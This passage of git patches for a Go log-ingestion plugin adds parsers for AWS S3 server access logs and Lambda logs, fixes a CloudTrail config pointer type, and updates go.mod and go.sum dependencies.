{ + return &aws_types.AwsS3ServerAccessLog{} +} + +func (c *S3ServerAccessLogCollection) GetConfigSchema() hcl.Config { + return &S3ServerAccessLogCollectionConfig{} +} + +func (c *S3ServerAccessLogCollection) GetSourceOptions() []row_source.RowSourceOption { + return []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + artifact_source.WithMapper(aws_source.NewS3ServerAccessLogMapper()), + } +} + +func (c *S3ServerAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { + // short-circuit for unexpected row type + rawRecord, ok := row.(map[string]string) + if !ok { + return nil, fmt.Errorf("invalid row type: %T, expected map[string]string", row) + } + + // TODO: #validate ensure we have a timestamp field + + // Build record and add any source enrichment fields + var record aws_types.AwsS3ServerAccessLog + if sourceEnrichmentFields != nil { + record.CommonFields = *sourceEnrichmentFields + } + + for key, value := range rawRecord { + switch key { + case "bucket_owner": + record.BucketOwner = value + case "bucket": + record.Bucket = value + case "timestamp": + ts, err := time.Parse("02/Jan/2006:15:04:05 -0700", value) + if err != nil { + return nil, fmt.Errorf("error parsing timestamp: %w", err) + } + record.Timestamp = ts + record.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) + case "remote_ip": + record.RemoteIP = value + record.TpSourceIP = &value + record.TpIps = append(record.TpIps, value) + case "requester": + record.Requester = value + case "request_id": + record.RequestID = value + case "operation": + record.Operation = value + case "key": + if value != "-" { + record.Key = &value + } + case "request_uri": + if value != "-" { + record.RequestURI = &value + } + case "http_status": + if value != "-" { + hs, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing http_status: %w", err) + } + record.HTTPStatus = &hs + } + case "error_code": + if value != "-" { + record.ErrorCode = &value + } + case "bytes_sent": + if value != "-" { + bs, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return nil, fmt.Errorf("error parsing bytes_sent: %w", err) + } + record.BytesSent = &bs + } + case "object_size": + if value != "-" { + os, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return nil, fmt.Errorf("error parsing object_size: %w", err) + } + record.ObjectSize = &os + } + case "total_time": + if value != "-" { + tt, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing total_time: %w", err) + } + record.TotalTime = &tt + } + case "turn_around_time": + if value != "-" { + tat, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing turn_around_time: %w", err) + } + record.TurnAroundTime = &tat + } + case "referer": + if value != "-" { + record.Referer = &value + } + case "user_agent": + if value != "-" { + record.UserAgent = &value + } + case "version_id": + if value != "-" { + record.VersionID = &value + } + case "host_id": + if value != "-" { + record.HostID = &value + } + case "signature_version": + if value != "-" { + record.SignatureVersion = &value + } + case "cipher_suite": + if value != "-" { + record.CipherSuite = &value + } + case "authentication_type": + if value != "-" { + record.AuthenticationType = &value + } + case "host_header": + if value != "-" { + record.HostHeader = &value + } + case "tls_version": + if value != "-" { + record.TLSVersion = &value + } + case "access_point_arn": + if value != "-" { + record.AccessPointArn = &value + } + case "acl_required": + if value != "-" { + b := true + record.AclRequired = &b + } else { + b := false + record.AclRequired = &b + } + } + } + + // Record standardization + record.TpID = xid.New().String() + record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + record.TpSourceType = "aws.s3_server_access_log" + + // Hive Fields + record.TpCollection = c.Identifier() + if record.TpConnection == "" { + record.TpConnection = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + } + record.TpYear = int32(record.Timestamp.Year()) + record.TpMonth = int32(record.Timestamp.Month()) + record.TpDay = int32(record.Timestamp.Day()) + + return record, nil +} diff --git a/aws_collection/s3_server_access_log_collection_config.go b/aws_collection/s3_server_access_log_collection_config.go new file mode 100644 index 00000000..3038df7a --- /dev/null +++ b/aws_collection/s3_server_access_log_collection_config.go @@ -0,0 +1,9 @@ +package aws_collection + +type S3ServerAccessLogCollectionConfig struct { +} + +func (a S3ServerAccessLogCollectionConfig) Validate() error { + // TODO: #config validate the config + return nil +} diff --git a/aws_source/s3_server_access_log_mapper.go b/aws_source/s3_server_access_log_mapper.go new file mode 100644 index 00000000..e0de101b --- /dev/null +++ b/aws_source/s3_server_access_log_mapper.go @@ -0,0 +1,57 @@ +package aws_source + +import ( + "context" + "fmt" + + "github.com/satyrius/gonx" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` +const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` + +type S3ServerAccessLogMapper struct { + fullParser *gonx.Parser + reducedParser *gonx.Parser +} + +func NewS3ServerAccessLogMapper() *S3ServerAccessLogMapper { + return &S3ServerAccessLogMapper{ + fullParser: gonx.NewParser(s3ServerAccessLogFormat), + reducedParser: gonx.NewParser(s3ServerAccessLogFormatReduced), + } +} + +func (c *S3ServerAccessLogMapper) Identifier() string { + return "s3_server_access_log_mapper" +} + +func (c *S3ServerAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*types.RowData, error) { + var out []*types.RowData + var parsed *gonx.Entry + var err error + + // validate input type is string + input, ok := a.Data.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", a.Data) + } + inputMetadata := a.Metadata + + // parse log line + parsed, err = c.fullParser.ParseString(input) + if err != nil { + parsed, err = c.reducedParser.ParseString(input) + if err != nil { + return nil, fmt.Errorf("error parsing log line: %w", err) + } + } + + fields := make(map[string]string) + + fields = parsed.Fields() + out = append(out, types.NewData(fields, types.WithMetadata(inputMetadata))) + + return out, nil +} diff --git a/aws_types/aws_s3_server_access_log.go b/aws_types/aws_s3_server_access_log.go new file mode 100644 index 00000000..47848ced --- /dev/null +++ b/aws_types/aws_s3_server_access_log.go @@ -0,0 +1,38 @@ +package aws_types + +import ( + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type AwsS3ServerAccessLog struct { + enrichment.CommonFields + + BucketOwner string `json:"bucket_owner"` + Bucket string `json:"bucket"` + Timestamp time.Time `json:"timestamp"` + RemoteIP string `json:"remote_ip"` + Requester string `json:"requester"` + RequestID string `json:"request_id"` + Operation string `json:"operation"` + Key *string `json:"key,omitempty"` + RequestURI *string `json:"request_uri,omitempty"` + HTTPStatus *int `json:"http_status,omitempty"` + ErrorCode *string `json:"error_code,omitempty"` + BytesSent *int64 `json:"bytes_sent,omitempty"` + ObjectSize *int64 `json:"object_size,omitempty"` + TotalTime *int `json:"total_time,omitempty"` + TurnAroundTime *int `json:"turn_around_time,omitempty"` + Referer *string `json:"referer,omitempty"` + UserAgent *string `json:"user_agent,omitempty"` + VersionID *string `json:"version_id,omitempty"` + HostID *string `json:"host_id,omitempty"` + SignatureVersion *string `json:"signature_version,omitempty"` + CipherSuite *string `json:"cipher_suite,omitempty"` + AuthenticationType *string `json:"authentication_type,omitempty"` + HostHeader *string `json:"host_header,omitempty"` + TLSVersion *string `json:"tls_version,omitempty"` + AccessPointArn *string `json:"access_point_arn,omitempty"` + AclRequired *bool `json:"acl_required,omitempty"` +} From 33a4648d9bafb705f10b822ee329ba2a36ed0c45 Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 6 Aug 2024 12:47:12 +0100 Subject: [PATCH 046/180] feat: lambda logs --- aws/plugin.go | 1 + aws_collection/lambda_log_collection.go | 116 ++++++++++++++++++ .../lambda_log_collection_config.go | 9 ++ aws_types/aws_lambda_log.go | 23 ++++ 4 files changed, 149 insertions(+) create mode 100644 aws_collection/lambda_log_collection.go create mode 100644 aws_collection/lambda_log_collection_config.go create mode 100644 aws_types/aws_lambda_log.go diff --git a/aws/plugin.go b/aws/plugin.go index 3ee48d78..83afe825 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -27,6 +27,7 @@ func NewPlugin() (plugin.TailpipePlugin, error) { aws_collection.NewVPCFlowLogLogCollection, aws_collection.NewElbAccessLogCollection, aws_collection.NewS3ServerAccessLogCollection, + aws_collection.NewLambdaLogCollection, }, } diff --git a/aws_collection/lambda_log_collection.go b/aws_collection/lambda_log_collection.go new file mode 100644 index 00000000..f98b1fd3 --- /dev/null +++ b/aws_collection/lambda_log_collection.go @@ -0,0 +1,116 @@ +package aws_collection + +import ( + "fmt" + "strconv" + "strings" + "time" + + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/hcl" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/row_source" +) + +type LambdaLogCollection struct { + // all collections must embed collection.CollectionBase + collection.CollectionBase[*LambdaLogCollectionConfig] +} + +func NewLambdaLogCollection() collection.Collection { + return &LambdaLogCollection{} +} + +func (c *LambdaLogCollection) Identifier() string { + return "aws_lambda_log" +} + +func (c *LambdaLogCollection) GetSourceOptions() []row_source.RowSourceOption { + return []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + } +} + +func (c *LambdaLogCollection) GetRowSchema() any { + return &aws_types.AwsLambdaLog{} +} + +func (c *LambdaLogCollection) GetConfigSchema() hcl.Config { + return &LambdaLogCollectionConfig{} +} + +func (c *LambdaLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { + rawRecord, ok := row.(string) + if !ok { + return nil, fmt.Errorf("invalid row type: %T, expected string", row) + } + + var record aws_types.AwsLambdaLog + if sourceEnrichmentFields != nil { + record.CommonFields = *sourceEnrichmentFields + + ts := time.UnixMilli(int64(sourceEnrichmentFields.TpTimestamp)) + record.Timestamp = &ts + } + + // remove trailing newline + rawRecord = strings.TrimSuffix(rawRecord, "\n") + fields := strings.Fields(rawRecord) + + switch fields[0] { + case "START", "END": + record.LogType = &fields[0] + record.RequestID = &fields[2] + case "REPORT": + record.LogType = &fields[0] + record.RequestID = &fields[2] + duration, err := strconv.ParseFloat(fields[4], 64) + if err != nil { + return nil, fmt.Errorf("error parsing duration: %w", err) + } + record.Duration = &duration + billed, err := strconv.ParseFloat(fields[8], 64) + if err != nil { + return nil, fmt.Errorf("error parsing billed duration: %w", err) + } + record.BilledDuration = &billed + mem, err := strconv.Atoi(fields[12]) + if err != nil { + return nil, fmt.Errorf("error parsing memory size: %w", err) + } + record.MemorySize = &mem + maxMem, err := strconv.Atoi(fields[17]) + if err != nil { + return nil, fmt.Errorf("error parsing max memory used: %w", err) + } + record.MaxMemoryUsed = &maxMem + default: + t := "LOG" + record.LogType = &t + // TODO: #enrich should we overwrite the timestamp with that in the log entry? + record.RequestID = &fields[1] + record.LogLevel = &fields[2] + strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") + stripped := strings.TrimPrefix(rawRecord, strip) + record.Message = &stripped + } + + // Record standardization + record.TpID = xid.New().String() + record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + + // Hive fields + record.TpCollection = c.Identifier() + if record.TpConnection == "" { + record.TpConnection = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + } + record.TpYear = int32(record.Timestamp.Year()) + record.TpMonth = int32(record.Timestamp.Month()) + record.TpDay = int32(record.Timestamp.Day()) + + return record, nil +} diff --git a/aws_collection/lambda_log_collection_config.go b/aws_collection/lambda_log_collection_config.go new file mode 100644 index 00000000..5965b4a3 --- /dev/null +++ b/aws_collection/lambda_log_collection_config.go @@ -0,0 +1,9 @@ +package aws_collection + +type LambdaLogCollectionConfig struct { +} + +func (a LambdaLogCollectionConfig) Validate() error { + // TODO: #config validate the config + return nil +} diff --git a/aws_types/aws_lambda_log.go b/aws_types/aws_lambda_log.go new file mode 100644 index 00000000..ecb6f632 --- /dev/null +++ b/aws_types/aws_lambda_log.go @@ -0,0 +1,23 @@ +package aws_types + +import ( + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type AwsLambdaLog struct { + enrichment.CommonFields + + Timestamp *time.Time `json:"timestamp,omitempty"` + RequestID *string `json:"request_id,omitempty"` + LogType *string `json:"log_type,omitempty"` + LogLevel *string `json:"log_level,omitempty"` + Message *string `json:"message,omitempty"` + + // Report Specific Fields + Duration *float64 `json:"duration,omitempty"` + BilledDuration *float64 `json:"billed_duration,omitempty"` + MemorySize *int `json:"memory_size,omitempty"` + MaxMemoryUsed *int `json:"max_memory_used,omitempty"` +} From 878b3ab7c7a858bc8e1937193a1cf680d19e5b55 Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 9 Aug 2024 16:22:25 +0100 Subject: [PATCH 047/180] fix: cloudtrail log config --- aws_collection/cloudtrail_log_collection.go | 2 +- aws_collection/cloudtrail_log_collection_config.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index f88f6496..74662d14 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -20,7 +20,7 @@ import ( // CloudTrailLogCollection - collection for CloudTrail logs type CloudTrailLogCollection struct { // all collections must embed collection.CollectionBase - collection.CollectionBase[CloudTrailLogCollectionConfig] + collection.CollectionBase[*CloudTrailLogCollectionConfig] } func NewCloudTrailLogCollection() collection.Collection { diff --git a/aws_collection/cloudtrail_log_collection_config.go b/aws_collection/cloudtrail_log_collection_config.go index 5b7de5c1..525b5f7c 100644 --- a/aws_collection/cloudtrail_log_collection_config.go +++ b/aws_collection/cloudtrail_log_collection_config.go @@ -2,6 +2,6 @@ package aws_collection type CloudTrailLogCollectionConfig struct{} -func (c CloudTrailLogCollectionConfig) Validate() error { +func (c *CloudTrailLogCollectionConfig) Validate() error { return nil } From 02211eadc7ee5fa9154f056e2b415b32a5151ad4 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 13 Aug 2024 10:12:33 -0400 Subject: [PATCH 048/180] Tidy --- go.mod | 25 +++++++++++++++++++++++-- go.sum | 55 +++++++++++++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 76 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index f9f4c0de..ebd4fe15 100644 --- a/go.mod +++ b/go.mod @@ -16,7 +16,7 @@ require ( cloud.google.com/go/auth/oauth2adapt v0.2.3 // indirect cloud.google.com/go/compute/metadata v0.5.0 // indirect cloud.google.com/go/iam v1.1.10 // indirect - cloud.google.com/go/storage v1.41.0 // indirect + cloud.google.com/go/storage v1.42.0 // indirect github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect github.com/agext/levenshtein v1.2.3 // indirect @@ -41,14 +41,19 @@ require ( github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect github.com/aws/smithy-go v1.20.3 // indirect + github.com/briandowns/spinner v1.23.0 // indirect github.com/btubbs/datetime v0.1.1 // indirect + github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/fatih/color v1.15.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/gabriel-vasile/mimetype v1.4.2 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect github.com/go-logr/logr v1.4.2 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect - github.com/go-test/deep v1.1.0 // indirect + github.com/go-playground/locales v0.14.1 // indirect + github.com/go-playground/universal-translator v0.18.1 // indirect + github.com/go-playground/validator/v10 v10.15.5 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.6.0 // indirect @@ -56,15 +61,25 @@ require ( github.com/google/uuid v1.6.0 // indirect github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect github.com/googleapis/gax-go/v2 v2.13.0 // indirect + github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-hclog v1.6.2 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/hcl/v2 v2.20.0 // indirect github.com/hashicorp/yamux v0.1.1 // indirect github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f // indirect github.com/iancoleman/strcase v0.3.0 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/jackc/chunkreader/v2 v2.0.1 // indirect + github.com/jackc/pgconn v1.14.3 // indirect + github.com/jackc/pgio v1.0.0 // indirect + github.com/jackc/pgpassfile v1.0.0 // indirect + github.com/jackc/pgproto3/v2 v2.3.3 // indirect + github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect + github.com/karrick/gows v0.3.0 // indirect + github.com/leodido/go-urn v1.2.4 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect @@ -75,16 +90,20 @@ require ( github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/oklog/run v1.0.0 // indirect github.com/olekukonko/tablewriter v0.0.5 // indirect + github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rivo/uniseg v0.2.0 // indirect + github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/smartystreets/goconvey v1.8.1 // indirect github.com/spf13/cobra v1.7.0 // indirect github.com/spf13/pflag v1.0.5 // indirect + github.com/stretchr/testify v1.9.0 // indirect github.com/tklauser/go-sysconf v0.3.9 // indirect github.com/tklauser/numcpus v0.3.0 // indirect github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect + github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect github.com/zclconf/go-cty v1.14.3 // indirect go.opencensus.io v0.24.0 // indirect @@ -100,6 +119,7 @@ require ( golang.org/x/oauth2 v0.21.0 // indirect golang.org/x/sync v0.7.0 // indirect golang.org/x/sys v0.22.0 // indirect + golang.org/x/term v0.22.0 // indirect golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect @@ -109,6 +129,7 @@ require ( google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade // indirect google.golang.org/grpc v1.64.1 // indirect google.golang.org/protobuf v1.34.2 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect ) require ( diff --git a/go.sum b/go.sum index a5adc0de..ecce8111 100644 --- a/go.sum +++ b/go.sum @@ -9,8 +9,10 @@ cloud.google.com/go/compute/metadata v0.5.0 h1:Zr0eK8JbFv6+Wi4ilXAR8FJ3wyNdpxHKJ cloud.google.com/go/compute/metadata v0.5.0/go.mod h1:aHnloV2TPI38yx4s9+wAZhHykWvVCfu7hQbF+9CWoiY= cloud.google.com/go/iam v1.1.10 h1:ZSAr64oEhQSClwBL670MsJAW5/RLiC6kfw3Bqmd5ZDI= cloud.google.com/go/iam v1.1.10/go.mod h1:iEgMq62sg8zx446GCaijmA2Miwg5o3UbO+nI47WHJps= -cloud.google.com/go/storage v1.41.0 h1:RusiwatSu6lHeEXe3kglxakAmAbfV+rhtPqA6i8RBx0= -cloud.google.com/go/storage v1.41.0/go.mod h1:J1WCa/Z2FcgdEDuPUY8DxT5I+d9mFKsCepp5vR6Sq80= +cloud.google.com/go/longrunning v0.5.9 h1:haH9pAuXdPAMqHvzX0zlWQigXT7B0+CL4/2nXXdBo5k= +cloud.google.com/go/longrunning v0.5.9/go.mod h1:HD+0l9/OOW0za6UWdKJtXoFAX/BGg/3Wj8p10NeWF7c= +cloud.google.com/go/storage v1.42.0 h1:4QtGpplCVt1wz6g5o1ifXd656P5z+yNgzdw1tVfp0cU= +cloud.google.com/go/storage v1.42.0/go.mod h1:HjMXRFq65pGKFn6hxj6x3HCyR41uSB72Z0SO/Vn6JFQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= @@ -60,6 +62,8 @@ github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 h1:ZsDKRLXGWHk8WdtyYMoGNO7bTudr github.com/aws/aws-sdk-go-v2/service/sts v1.30.3/go.mod h1:zwySh8fpFyXp9yOr/KVzxOl8SRqgf/IDw5aUt9UKFcQ= github.com/aws/smithy-go v1.20.3 h1:ryHwveWzPV5BIof6fyDvor6V3iUL7nTfiTKXHiW05nE= github.com/aws/smithy-go v1.20.3/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= +github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A= +github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE= github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To= github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= @@ -81,6 +85,8 @@ github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= +github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= +github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= @@ -90,6 +96,14 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= +github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.15.5 h1:LEBecTWb/1j5TNY1YYG2RcOUN3R7NLylN+x8TTueE24= +github.com/go-playground/validator/v10 v10.15.5/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= github.com/go-test/deep v1.1.0 h1:WOcxcdHcvdgThNXjw0t76K42FXTU7HpNQWHpA2HHNlg= github.com/go-test/deep v1.1.0/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= @@ -129,10 +143,15 @@ github.com/googleapis/gax-go/v2 v2.13.0 h1:yitjD5f7jQHhyDsnhKEBU52NdvvdSeGzlAnDP github.com/googleapis/gax-go/v2 v2.13.0/go.mod h1:Z/fvTZXF8/uw7Xu5GuslPw+bplx6SS338j1Is2S+B7A= github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g= github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= +github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= github.com/hashicorp/go-hclog v1.6.2/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= github.com/hashicorp/go-plugin v1.6.1/go.mod h1:XPHFku2tFo3o3QKFgSYo+cghcUhw1NA1hZyMK0PWAw0= github.com/hashicorp/hcl/v2 v2.20.0 h1:l++cRs/5jQOiKVvqXZm/P1ZEfVXJmvLS9WSVxkaeTb4= @@ -145,6 +164,21 @@ github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSAS github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= +github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/pgconn v1.14.3 h1:bVoTr12EGANZz66nZPkMInAV/KHD2TxH9npjXXgiB3w= +github.com/jackc/pgconn v1.14.3/go.mod h1:RZbme4uasqzybK2RK5c65VsHxoyaml09lx3tXOcO/VM= +github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE= +github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= +github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc= +github.com/jackc/pgmock 